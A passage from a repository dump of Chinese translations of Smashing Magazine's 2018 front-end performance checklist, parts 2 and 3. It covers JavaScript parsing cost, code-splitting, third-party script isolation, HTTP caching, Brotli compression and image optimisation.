所[指出](https://twitter.com/sebmarkbage/status/829733454119989248)，测量框架的启动成本的好方法是首先渲染视图，再删除它，然后再渲染，因为它可以告诉你框架是如何处理的。\n\n第一种渲染倾向于预热一堆编译迟缓的代码，当它扩展时，更大的树可以从中受益。第二种渲染基本上是对页面上的代码重用如何影响性能特性的模拟，因为页面越来越复杂。\n\n[并不是每个项目都需要框架](https://twitter.com/jaffathecake/status/923805333268639744)。事实上，某些项目因[移除已存在的框架而从中获益](https://twitter.com/jaffathecake/status/925320026411950080)。一旦选择了一个框架，你将会至少与它相处几年。所以，如果你需要使用它，确保你的选择是经过[深思熟虑的](https://medium.com/@ZombieCodeKill/choosing-a-javascript-framework-535745d0ab90#.2op7rjakk)而且别人是[知情的](https://www.youtube.com/watch?v=6I_GwgoGm1w)。在进行选择前，至少要考虑总大小的成本 + 初始解析时间：轻量级的选项像 [Preact](https://github.com/developit/preact)，[Inferno](https://github.com/infernojs/inferno)，[Vue](https://vuejs.org/)，[Svelte](https://svelte.technology/) 或者 [Polymer](https://github.com/Polymer/polymer) 都可以把工作做得很好。大小的基准将决定应用程序代码的约束。\n\n[![JavaScript parsing costs can differ significantly](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/8a36eef0-083f-4652-9814-95ffe7848982/parse-costs-opt.png)](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices)\n\nJavaScript 解析成本可能有很大差异。[本来就很快的: 现代化加载的最佳实践](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices)来自Addy Osmani (幻灯片 10)。\n\n请记住，在移动设备上，与台式计算机相比，你会预计有 4x-5x 的减速。因为移动设备具有不同的 GPU，CPU，内存及电池特性。在手机上的解析时间[比桌面设备的要高 36%](https://github.com/GoogleChromeLabs/discovery/issues/1)。所以总在一个[普通的设备上测试](https://www.webpagetest.org/easy-load) —— 一种最能代表你的观众的设备。\n\n不同的框架将会对性能产生不同的影响，并且需要不同的优化策略。因此，你必须清楚地了解你所依赖的框架的所有细节。[PRPL 模式](https://developers.google.com/web/fundamentals/performance/prpl-pattern/)和[应用程序 shell 体系结构](https://developers.google.com/web/updates/2015/11/app-shell)。这个想法很简单: 将初始路由的交互所需的最小代码快速呈现，然后使用 service worker 进行缓存和预缓存资源，然后异步加载所需的路由。\n\n[![PRPL Pattern in the application shell architecture](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/bb4716e5-d25b-4b80-b468-f28d07bae685/app-build-components-dibweb-c-scalew-879-opt.png)](https://developers.google.com/web/fundamentals/performance/prpl-pattern/)\n\n[PRPL](https://developers.google.com/web/fundamentals/performance/prpl-pattern/) 代表的是保持推送关键资源，渲染初始路由，预缓存剩余路由和延迟加载必要的剩余路由。\n\n[![Application shell architecture](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/6423db84-4717-4aeb-9174-7ae96bf4f3aa/appshell-1-o0t8qd-c-scalew-799-opt.jpg)](https://developers.google.com/web/updates/2015/11/app-shell)\n\n[应用程序 shell](https://developers.google.com/web/updates/2015/11/app-shell) 是最小的 HTML、CSS 和 JavaScript 驱动的用户界面。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/front-end-performance-checklist-2018-2.md",
    "content": "> * 原文地址：[Front-End Performance Checklist 2018 - Part 2](https://www.smashingmagazine.com/2018/01/front-end-performance-checklist-2018-pdf-pages/)\n> * 原文作者：[Vitaly Friedman](https://www.smashingmagazine.com/author/vitaly-friedman)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-2.md)\n> * 译者：[sakila1012](https://github.com/sakila1012)\n> * 校对者：[sunshine940326](https://github.com/sunshine940326)，[xingqiwu55555](https://github.com/xingqiwu55555)\n\n# 2018 前端性能优化清单 - 第 2 部分\n\n下面是前端性能问题的概述，你可以参考以确保流畅的阅读本文。\n\n- [2018 前端性能优化清单 - 第 1 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-1.md)\n- [2018 前端性能优化清单 - 第 2 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-2.md)\n- [2018 前端性能优化清单 - 第 3 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-3.md)\n- [2018 前端性能优化清单 - 第 4 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-4.md)\n\n***\n\n11. **你会在你的项目中使用 AMP 和 Instant Articles 么？**\n\n依赖于你的组织优先性和战略性，你可能想考虑使用谷歌的 [AMP](https://www.ampproject.org/) 和 Facebook 的 [Instant Articles](https://instantarticles.fb.com/) 或者苹果的 [Apple News](https://www.apple.com/news/)。没有它们，你可以实现很好的性能，但是 AMP 确实提供了一个免费的内容分发网络（CDN）的性能框架，而 Instant Articles 将提高你在 Facebook 上的知名度和表现。\n\n对于用户而言，这些技术主要的优势是确保性能，但是有时他们宁愿喜欢 AMP-/Apple News/Instant Pages 链路，也不愿是“常规”和潜在的臃肿页面。对于以内容为主的网站，主要处理很多第三方法内容，这些选择极大地加速渲染的时间。\n\n对于网站的所有者而言优势是明显的：在各个平台规范的可发现性和[增加搜索引擎的可见性](https://ethanmarcotte.com/wrote/ampersand/)。你也可以通过把 AMP 作为你的 PWA 数据源来构建[渐进增强的 Web 体验](https://www.smashingmagazine.com/2016/12/progressive-web-amps/)。缺点？显然，在一个有围墙的区域里，开发者可以创造并维持其内容的单独版本，防止 Instant Articles 和 Apple News [没有实际的URLs](https://www.w3.org/blog/TAG/2017/07/27/distributed-and-syndicated-content-whats-wrong-with-this-picture/)。（**谢谢** _Addy，Jeremy_）\n\n12. **明智地选择你的 CDN**\n\n根据你拥有的动态数据量，你可以将部分内容外包给[静态站点生成器](https://www.smashingmagazine.com/2015/11/static-website-generators-jekyll-middleman-roots-hugo-review/)，将其放在 CDN 中并从中提供一个静态版本。因此可以避免数据的请求。你甚至可以选择一个基于 CDN 的[静态主机平台](https://www.smashingmagazine.com/2015/11/modern-static-website-generators-next-big-thing/)，将交互组件作为增强来充实你的页面 ([jamstack](https://jamstack.org/))。\n\n注意，CDN 也可以服务（卸载）动态内容。因此，限制你的 CDN 到静态资源是不必要的。仔细检查你的 CDN 是否进行压缩和转换（比如：图像优化方面的格式，压缩和调整边缘的大小），智能 HTTP/2 交付，边侧包含，在 CDN 边缘组装页面的静态和动态部分（比如：离用户最近的服务端），和其他任务。\n\n### 构建优化\n\n13. **分清轻重缓急**\n\n知道你应该优先处理什么是个好主意。管理你所有资产的清单（JavaScript，图片，字体，第三方脚本和页面中“昂贵的”模块，比如：轮播图，复杂的图表和多媒体内容），并将它们划分成组。\n\n建立电子表格。针对传统的浏览器，定义基本的_核心_体验（比如：完全可访问的核心内容），针对多功能浏览器_提升_体验（比如：丰富多彩的，完美的体验）和其他的（不是绝对需要而且可以被延迟加载的资源，如 Web 字体、不必要的样式、旋转木马脚本、视频播放器、社交媒体按钮、大型图像。）。我们在“[Improving Smashing Magazine's Performance](https://www.smashingmagazine.com/2014/09/improving-smashing-magazine-performance-case-study/)”发布了一篇文章，上面详细描述了该方法。\n\n14. **考虑使用“cutting-the-mustard”模式**\n\n虽然很老，但我们仍然可以使用 [cutting-the-mustard 技术](http://responsivenews.co.uk/post/18948466399/cutting-the-mustard)将核心经验带到传统浏览器并增强对现代浏览器的体验。严格要求加载的资源：优先加载核心传统的，然后是提升的，最后是其他的。该技术从浏览器版本中演变成了设备功能，这已经不是我们现在能做的事了。\n\n例如：在发展中国家，廉价的安卓手机主要运行 Chrome，尽管他们的内存和 CPU 有限。这就是 [PRPL 模式](https://developers.google.com/web/fundamentals/performance/prpl-pattern/)可以作为一个好的选择。因此，使用[设备内存客户端提示头](https://github.com/w3c/device-memory)，我们将能够更可靠地针对低端设备。在写作的过程中，只有在 Blink 中才支持 header(Blink 支持[客户端提示](https://caniuse.com/#search=client%20hints))。因为设备存储也有一个在 [Chrome 中可以调用的](https://developers.google.com/web/updates/2017/12/device-memory) JavaScript API，一种选择是基于 API 的特性检测，只在不支持的情况下回退到 “符合标准”技术（**谢谢**，_Yoav！_）。\n\n15. **解析 JavaScript 的代价很大，应保持其较小**\n\n但我们处理单页面应用时，在你可以渲染页面时，你需要一些时间来初始化 app。寻找模块和技术加快初始化渲染时间（例如：[这里是如何调试 React 性能](https://building.calibreapp.com/debugging-react-performance-with-react-16-and-chrome-devtools-c90698a522ad)，以及[如何提高 Angular 性能](https://www.youtube.com/watch?v=p9vT0W31ym8)），因为大多数性能问题来自于启动应用程序的初始解析时间。\n\n[JavaScript 有成本](https://youtu.be/_srJ7eHS3IM?t=9m33s)，但不一定是文件大小会影响性能。解析和执行时间的不同很大程度依赖设备的硬件。在一个普通的手机上（Moto G4），仅解析 1MB （未压缩的）的 JavaScript 大概需要 1.3-1.4 秒，会有 15 - 20% 的时间耗费在手机的解析上。在执行编译过程中，只是用在JavaScript准备平均需要 4 秒，在手机上绘排需要 11 秒。解释：在低端移动设备上，[解析和执行时间可以轻松提高 2 至 5 倍](https://medium.com/reloading/javascript-start-up-performance-69200f43b201)。\n\nEmber 最近推出了一个实验，一种使用[二进制模板](https://emberjs.com/blog/2017/10/10/glimmer-progress-report.html#toc_binary-templates)巧妙的避免解析开销的方式。这些模板不需要解析。（**感谢**，_Leonardo！_）\n\n这就是检查每个 JavaScript 依赖性的关键，工具像 [webpack-bundle-analyzer](https://www.npmjs.com/package/webpack-bundle-analyzer)，[Source Map Explorer](https://github.com/danvk/source-map-explorer) 和 [Bundle Buddy](https://github.com/samccone/bundle-buddy) 可以帮助你完成这些。[度量 JavaScript 解析和编译时间](https://medium.com/reloading/javascript-start-up-performance-69200f43b201#7557)。Etsy 的 [DeviceTiming](https://github.com/danielmendel/DeviceTiming)，一个小工具允许您指示 JavaScript 在任何设备或浏览器上测量解析和执行时间。重要的是，虽然大小重要，但它不是一切。解析和编译时间并不是随着脚本大小增加而[线性增加](https://medium.com/reloading/javascript-start-up-performance-69200f43b201)。\n\n<figure class=\"video-container\"><iframe src=\"https://player.vimeo.com/video/249525818\" width=\"640\" height=\"384\" frameborder=\"0\" webkitallowfullscreen=\"\" mozallowfullscreen=\"\" allowfullscreen=\"\"></iframe>\n\n[Webpack Bundle Analyzer](https://www.npmjs.com/package/webpack-bundle-analyzer) visualizes JavaScript dependencies.\n\n16. **你使用预编译器么？**\n\n使用[预编译器](https://www.lucidchart.com/techblog/2016/09/26/improving-angular-2-load-times/)来[减轻从客户端](https://www.smashingmagazine.com/2016/03/server-side-rendering-react-node-express/)到[服务端的渲染](http://redux.js.org/docs/recipes/ServerRendering.html)的开销，因此快速输出有用的结果。最后，考虑使用 [Optimize.js](https://github.com/nolanlawson/optimize-js) 更快的加载,用快速地调用的函数（尽管，它[可能不需要](https://twitter.com/tverwaes/status/809788255243739136)）。\n\n17. **你使用 tree-shaking，scope hoisting，code-splitting 么**\n\n[Tree-shaking](https://medium.com/@roman01la/dead-code-elimination-and-tree-shaking-in-javascript-build-systems-fb8512c86edf) 是一种通过只加载生产中确实被使用的代码和[在 Webpack 中](http://www.2ality.com/2015/12/webpack-tree-shaking.html)清除无用部分，来整理你构建过程的方法。使用 Webpack 3 和 Rollup，我们还可以[提升作用域](https://medium.com/webpack/brief-introduction-to-scope-hoisting-in-webpack-8435084c171f)允许工具检测 `import` 链接以及可以转换成一个内联函数，不影响代码。有了 Webpack 4，你现在可以使用 [JSON Tree Shaking](https://react-etc.net/entry/json-tree-shaking-lands-in-webpack-4-0)。[UnCSS](https://github.com/giakki/uncss) or [Helium](https://github.com/geuis/helium-css) 可以帮助你去删除未使用 CSS 样式。\n\n而且，你想考虑学习如何[编写有效的 CSS 选择器](http://csswizardry.com/2011/09/writing-efficient-css-selectors/)以及如何[避免臃肿和开销浪费的样式](https://benfrain.com/css-performance-revisited-selectors-bloat-expensive-styles/)。感觉好像超越了这个？你也可以使用 Webpack 缩短类名和在编译时使用作用域孤立来[动态地重命名 CSS 类名](https://medium.freecodecamp.org/reducing-css-bundle-size-70-by-cutting-the-class-names-and-using-scope-isolation-625440de600b)\n\n[Code-splitting](https://webpack.github.io/docs/code-splitting.html) 是另一种 Webpack 特性，可以基于“chunks”分割你的代码然后按需加载这些代码块。并不是所有的 JavaScript 必须下载，解析和编译的。一旦在你的代码中确定了分割点，Webpack 会全权负责这些依赖关系和输出文件。在应用发送请求的时候，这样基本上确保初始的下载足够小并且实现按需加载。另外，考虑使用 [preload-webpack-plugin](https://github.com/GoogleChromeLabs/preload-webpack-plugin) 获取代码拆分的路径，然后使用 `<link rel=\"preload\">` or `<link rel=\"prefetch\">` 提示浏览器预加载它们。\n\n在哪里定义分离点？通过追踪使用哪些 CSS/JavaScript 块和哪些没有使用。Umar Hansa [解释了](https://vimeo.com/235431630#t=11m37s)你如何可以使用 Devtools 代码覆盖率来实现。\n\n如果你没有使用 Webpack，值得注意的是相比于 Browserify 输出结果 [Rollup](http://rollupjs.org/) 展现的更加优秀。当使用 Rollup 时，我们会想要查看 [Rollupify](https://github.com/nolanlawson/rollupify)，它可以转化 ECMAScript 2015 modules 为一个大的 CommonJS module ——因为取决于打包工具和模块加载系统的选择，小的模块会有[令人惊讶的高性能开销](https://nolanlawson.com/2016/08/15/the-cost-of-small-modules/)。\n\n![Addy Osmani 的'默认快速：现代负载最佳实践'](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/31237c37-d7db-4faa-9849-51657e122331/babel-preset-opt.png)\n\nAddy Osmani 的从[快速默认：现代加载的最佳实践]（https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices）。幻灯片76。\n\n最后，随着[现代浏览器](http://kangax.github.io/compat-table/es6/)对 ES2015 支持越来越好，考虑[使用`babel-preset-env`](http://2ality.com/2017/02/babel-preset-env.html) 只有 transpile ES2015+ 特色不支持现代浏览器的目标。然后[设置两个构建](https://gist.github.com/newyankeecodeshop/79f3e1348a09583faf62ed55b58d09d9)，一个在 ES6 一个在 ES5。我们可以[使用`script type=\"module\"`](https://matthewphillips.info/posts/loading-app-with-script-module)让具有 ES 模块浏览器支持加载文件，而老的浏览器可以加载传统的建立`script nomodule`。\n\n对于 loadsh，[使用 `babel-plugin-lodash`](https://github.com/lodash/babel-plugin-lodash)将会加载你仅仅在源码中使用的。这样将会很大程度减轻 JavaScript 的负载。\n\n18. **利用目标 JavaScript 引擎的优化。**\n\n研究 JavaScript 引擎在用户基础中占主导地位，然后探索优化它们的方法。例如，当优化的 V8 引擎是用在 Blink 浏览器，Node.js 运行和电子，对每个脚本充分利用[脚本流](https://blog.chromium.org/2015/03/new-javascript-techniques-for-rapid.html)。一旦下载开始，它允许 `async` 或 `defer scripts` 在一个单独的后台线程进行解析，因此在某些情况下，提高页面加载时间达 10%。实际上，在 `<head>` 中[使用 `<脚本延迟>`](https://medium.com/reloading/javascript-start-up-performance-69200f43b201#3498)，以致于[浏览器更早地可以发现资源](https://medium.com/reloading/javascript-start-up-performance-69200f43b201#3498)，然后在后台线程中解析它。\n\n**Caveat**：_Opera Mini [不支持 defement 脚本](https://caniuse.com/#search=defer)，如果你正在为印度和非洲开发，`defer` 将会被忽略，导致阻塞渲染直到脚本已经评估了_（感谢 Jeremy）!_。\n\n[![渐进引导](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/ab06acd3-833a-4634-abf9-fc8d91939250/fmp-and-tti-opt.jpeg)](https://aerotwist.com/blog/when-everything-is-important-nothing-is/)\n\n[渐进引导](https://aerotwist.com/blog/when-everything-is-important-nothing-is/)：使用服务器端呈现获得第一个快速的有意义的绘排，而且还要包含一些最小必要的 JavaScript 来保持实时交互来接近第一次的绘排。\n\n19. **客户端渲染或者服务端渲染？**\n\n在两种场景下，我们的目标应该是建立[渐进引导](https://aerotwist.com/blog/when-everything-is-important-nothing-is/)：使用服务器端呈现获得第一个快速的有意义的绘排，而且还要包含一些最小必要的 JavaScript 来**保持实时交互来接近第一次的绘排**。如果 JavaScript 在第一次绘排没有获取到，那么浏览器可能会在解析时[锁住主线程](https://davidea.st/articles/measuring-server-side-rendering-performance-is-tricky)，编译和执行最新发现的 JavaScript，因此限制[互动的网站或应用程序](https://philipwalton.com/articles/why-web-developers-need-to-care-about-interactivity/)。\n\n为了避免这样做，总是将执行函数分离成一个个，异步任务和可能用到 `requestIdleCallback`的地方。考虑 UI 的懒加载部分使用 WebPack [动态 `import` 支持](https://developers.google.com/web/updates/2017/11/dynamic-import)，避免加载，解析，和编译开销直到用户真的需要他们（**感谢** _Addy!_）。\n\n在本质上，交互时间（TTI）告诉我们导航和交互之间的时间长度。度量是通过在初始内容呈现后的第一个五秒窗口来定义的，在这个过程中，JavaScript 任务没有操作 50ms 的。如果发生超过 50ms 的任务，寻找一个五秒的窗口重新开始。因此，浏览器首先会假定它达到了交互式，只是切换到冻结状态，最终切换回交互式。\n\n一旦我们达到交互式，然后，我们可以按需或随时间所允许的，启动应用程序的非必需部分。不幸的是，随着 [Paul Lewis 提到的](https://aerotwist.com/blog/when-everything-is-important-nothing-is/#which-to-use-progressive-booting)，框架通常没有优先出现的概念可以向开发人员展示，因此渐进式引导很难用大多数库和框架实现。如果你有时间和资源，使用该策略可以极大地改善前端性能。\n\n20. **你限制第三方脚本的影响么？**\n\n尽管所有的性能得到很好地优化，我们不能控制来自商业需求的第三方脚本。第三方脚本度量不受终端用户体验的影响，所以，一个单一的脚本常常会以调用令人讨厌的，长长的第三方脚本为结尾，因此，破坏了为性能专门作出的努力。为了控制和减轻这些脚本带来的性能损失，仅异步加载（[可能通过 defer](https://www.twnsnd.com/posts/performant_third_party_scripts.html)）和通过资源提示，如：`dns-prefetch` 或者 `preconnect` 加速他们是不足够的。\n\n正如 Yoav Weiss 在他的[必须关注第三方脚本的通信](http://conffab.com/video/taking-back-control-over-third-party-content/)中解释的，在很多情况下，下载资源的这些脚本是动态的。页面负载之间的资源是变化的，因此我们不必知道主机是从哪下载的资源以及这些资源是什么。\n\n这时，我们有什么选择？考虑 **通过间隔下载资源来使用 service workers**，如果在特定的时间间隔内资源没有响应，返回一个空的响应告知浏览器执行解析页面。你可以记录或者限制那些失败的第三方请求和没有执行特定标准请求。\n\n另一个选择是建立一个 **内容安全策略（CSP）** 来限制第三方脚本的影响，比如：不允许下载音频和视频。最好的选择是通过 `<iframe>` 嵌入脚本以致于脚本运行在 iframe 环境中，因此如果没有接入页面 DOM 的权限，在你的域下不能运行任何代码。Iframe 可以 使用 `sandbox` 属性进一步限制，因此你可以禁止 iframe 的任何功能，比如阻止脚本运行，阻止警告、表单提交、插件、访问顶部导航等等。\n\n例如，它可能需要允许脚本运行 `<iframe sandbox=\"allow-scripts\">`。每一个限制都可以通过'允许'值在 'sandbox' 属性中（[几乎处处支持](https://caniuse.com/#search=sandbox)）解除，所以把他们限制在最低限度的允许他们去做的事情上。考虑使用 [Safeframe](https://github.com/interactiveadvertisingbureau/safeframe) 和交叉观察；这将使广告嵌入 iframe 的同时仍然调度事件或需要从 DOM 获取信息（例如广告知名度）。注意新的策略如[特征策略](https://wicg.github.io/feature-policy/)），资源的大小限制，CPU 和带宽优先级限制损害的网络功能和会减慢浏览器的脚本，例如：同步脚本，同步 XHR 请求，document.write 和超时的实现。\n\n为了[压测第三方](https://csswizardry.com/2017/07/performance-and-resilience-stress-testing-third-parties/)，在 DevTools 上自底向上概要地检查页面的性能，测试如果一个请求被阻塞了会发生什么或者对于后面的请求有超时限制，你可以使用 WebPageTest's Blackhole 服务器 `72.66.115.13`，同时可以在你的 `hosts` 文件中指定特定的域名。最好是[自我主机和使用一个单一的主机名](https://www.twnsnd.com/posts/performant_third_party_scripts.html)，但是同时[生成一个请求映射](https://www.soasta.com/blog/10-pro-tips-for-managing-the-performance-of-your-third-party-scripts/)，当脚本变化时，暴露给第四方调用和检测。\n\n![请求块](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/b1e12dad-ea64-430e-b3db-b67fb76029d8/block-request-url-image-opt.png)\n\n图片信用：[Harry Roberts](https://csswizardry.com/2017/07/performance-and-resilience-stress-testing-third-parties/#request-blocking)\n\n21. **HTTP cache 头部设置是否合理？**\n\n再次检查一遍 `expires`，`cache-control`，`max-age` 和其他 HTTP cache 头部都是否设置正确。通常，资源应该是可缓存的，不管是短时间的（如果它们很可能改变），还是无限期的（如果它们是静态的）——你可以在需要更新的时候，改变它们 URL 中的版本即可。在任何资源上禁止头部 `Last-Modified` 都会导致一个 `If-Modified-Since` 条件查询，即使资源在缓存中。与 `Etag` 一样，即使它在使用中。\n\n使用 `Cache-control: immutable`，该头部针对被标记指纹的静态资源设计，避免资源被重新验证（截至 2017年12月，[在 FireFox，Edge 和 Safari 中支持](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control)；只有 FireFox 在 HTTPS 中支持）。你也可以使用 [Heroku 的 HTTP 缓存头部](https://devcenter.heroku.com/articles/increasing-application-performance-with-http-cache-headers)，Jake Archibald 的 \"[Caching Best Practices](https://jakearchibald.com/2016/caching-best-practices/)\" ，以及 Ilya Grigorik 的 [HTTP caching primer](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching?hl=en) 作为指导。而且，注意[不同的头部](https://www.smashingmagazine.com/2017/11/understanding-vary-header/)，尤其是[在关系到 CDN 时](https://www.fastly.com/blog/getting-most-out-vary-fastly)，并且注意[关键头部](https://www.greenbytes.de/tech/webdav/draft-ietf-httpbis-key-latest.html)有助于避免在新请求稍有差异时进行额外的验证，但从以前请求标准，并不是必要的（**感谢**，_Guy！_）。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/front-end-performance-checklist-2018-3.md",
    "content": "> * 原文地址：[Front-End Performance Checklist 2018 - Part 3](https://www.smashingmagazine.com/2018/01/front-end-performance-checklist-2018-pdf-pages/)\n> * 原文作者：[Vitaly Friedman](https://www.smashingmagazine.com/author/vitaly-friedman)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-3.md)\n> * 译者：[Cherry](https://github.com/sunshine940326)\n> * 校对者：[Ryou](https://github.com/ryouaki)、[z](https://github.com/wzy816)\n\n# 2018 前端性能优化清单 - 第 3 部分\n\n下面是前端性能问题的其他部分，你可以参考以确保流畅的阅读本文。\n\n\n- [2018 前端性能优化清单 - 第 1 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-1.md)\n- [2018 前端性能优化清单 - 第 2 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-2.md)\n- [2018 前端性能优化清单 - 第 3 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-3.md)\n- [2018 前端性能优化清单 - 第 4 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-4.md)\n\n***\n\n### 静态资源优化\n\n22. **你是使用 Brotli 还是 Zopfli 进行纯文本压缩？**\n\n在 2005 年，[Google 推出了](https://opensource.googleblog.com/2015/09/introducing-brotli-new-compression.html) [Brotli](https://github.com/google/brotli)，一个新的开源无损数据压缩格式，现在 [被所有的现代浏览器所支持](http://caniuse.com/#search=brotli)。实际上，Brotli 比 Gzip 和 Deflate [更有效](https://samsaffron.com/archive/2016/06/15/the-current-state-of-brotli-compression)。取决于设置信息，压缩可能会非常慢。但是缓慢的压缩过程会提高压缩率，并且仍然可以快速解压。当然，解压缩速度很快。\n\n只有当用户通过 HTTPS 访问网站时，浏览器才会采用。Brotli 现在还不能预装在某些服务器上，而且如果不自己构建 NGINX 和 UBUNTU 的话很难部署。[不过这也并不难](https://www.smashingmagazine.com/2016/10/next-generation-server-compression-with-brotli/)。实际上，[一些 CDN 是支持的](https://community.akamai.com/community/web-performance/blog/2017/08/18/brotli-support-enablement-on-akamai)，甚至 [可以也可以通过服务器在不支持 CDN 的情况下启用 Brotli](http://calendar.perfplanet.com/2016/enabling-brotli-even-on-cdns-that-dont-support-it-yet/)。\n\n在最高级别的压缩下，Brotli 的速度会变得非常慢，以至于服务器在等待动态压缩资源时开始发送响应所花费的时间可能会使文件大小的任何潜在收益都无效。但是，对于静态压缩，[高压缩比的设置比较受欢迎](https://css-tricks.com/brotli-static-compression/) —— （**感谢 Jeremy!**）\n\n或者，你可以考虑使用 [Zopfli 的压缩算法](https://blog.codinghorror.com/zopfli-optimization-literally-free-bandwidth/)，将数据编码为 Deflate，Gzip 和 Zlib 格式。Zopfli 改进的 Deflate 编码使得任何使用 Gzip 压缩的文件受益，因为这些文件大小比 用Zlib 最强压缩后还要小 3％ 到 8％。问题在于压缩文件的时间是原来的大约 80倍。这就是为什么虽然 使用 Zopfli 是一个好主意但是变化并不大，文件都需要设计为只压缩一次可以多次下载的。\n\n比较好的方法是你可以绕过动态压缩静态资源的成本。Brotli 和 Zopfli 都可以用于明文传输 —— HTML，CSS，SVG，JavaScript 等。\n\n有什么方法呢？在最高等级和 Brotli 的 1-4 级动态压缩 HTML 使用 Brotli+Gzip 预压缩静态资源。同时，检查 Brotli 是否支持 CDN，（例如 **KeyCDN，CDN77，Fastly**）。确保服务器能够使用 Brotli 或 gzip 处理内容。如果你不能安装或者维护服务器上的 Brotli，那么请使用 Zopfli。\n\n23. **图像是否进行了适当的优化？**\n尽可能通过 `srcset`，`sizes` 和 `<picture>` 元素使用 [响应式图片](https://www.smashingmagazine.com/2014/05/responsive-images-done-right-guide-picture-srcset/)。也可以通过 `<picture>` 元素使用 WebP 格式的图像（Chrom，Opera，[Firefox soon](https://bugzilla.mozilla.org/show_bug.cgi?id=1294490)支持），或者一个 JPEG 的回调（见 Andreas Bovens 的 [code snippet](https://dev.opera.com/articles/responsive-images/#different-image-types-use-case)）或者通过使用内容协商（使用 `Accept` 头信息）。\n\nSketch 本身就支持 WebP 并且 WebP 图像可以通过使用 [WebP 插件](http://telegraphics.com.au/sw/product/WebPFormat#webpformat) 从 PhotoShop 中导出。也有其他选择可以使用，如果你使用 WordPress 或者 Joomla，也有可以轻松支持 WebP 的扩展，例如 [Optimus](https://wordpress.org/plugins/optimus/) 和 [Cache Enabler](https://wordpress.org/plugins/cache-enabler/)（通过 [Cody Arsenault](https://css-tricks.com/comparing-novel-vs-tried-true-image-formats/)）\n\n你可以仍然使用 [client hints](https://www.smashingmagazine.com/2016/01/leaner-responsive-images-client-hints/)，但仍需要获得一些浏览器支持。没有足够的资源支持响应式图片？使用 [断点发生器](http://www.responsivebreakpoints.com/) 或者类似 [Cloudinary](http://cloudinary.com/documentation/api_and_access_identifiers) 这样的服务自动优化图片。同样，在许多情况下，只使用 `srcset` 和 `sizes` 会有不错的效果。\n\nOn Smashing Magazine, we use the postfix `-opt` for image names — for example, `brotli-compression-opt.png`; whenever an image contains that postfix, everybody on the team knows that the image has already been optimized.\n\n[![响应图像断点发生器](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/db62c469-bbfc-4959-839d-590abb41b64e/responsive-breakpoints-opt.png)](http://www.responsivebreakpoints.com/)\n\n[响应图像断点生成器](http://www.responsivebreakpoints.com/)自动生成图像和标记生成。\n\n\n24. **将图像优化到下一个级别**\n现在有一个至关重要着陆页，有一个特定的图片的加载速度非常关键，确保 JPEGs 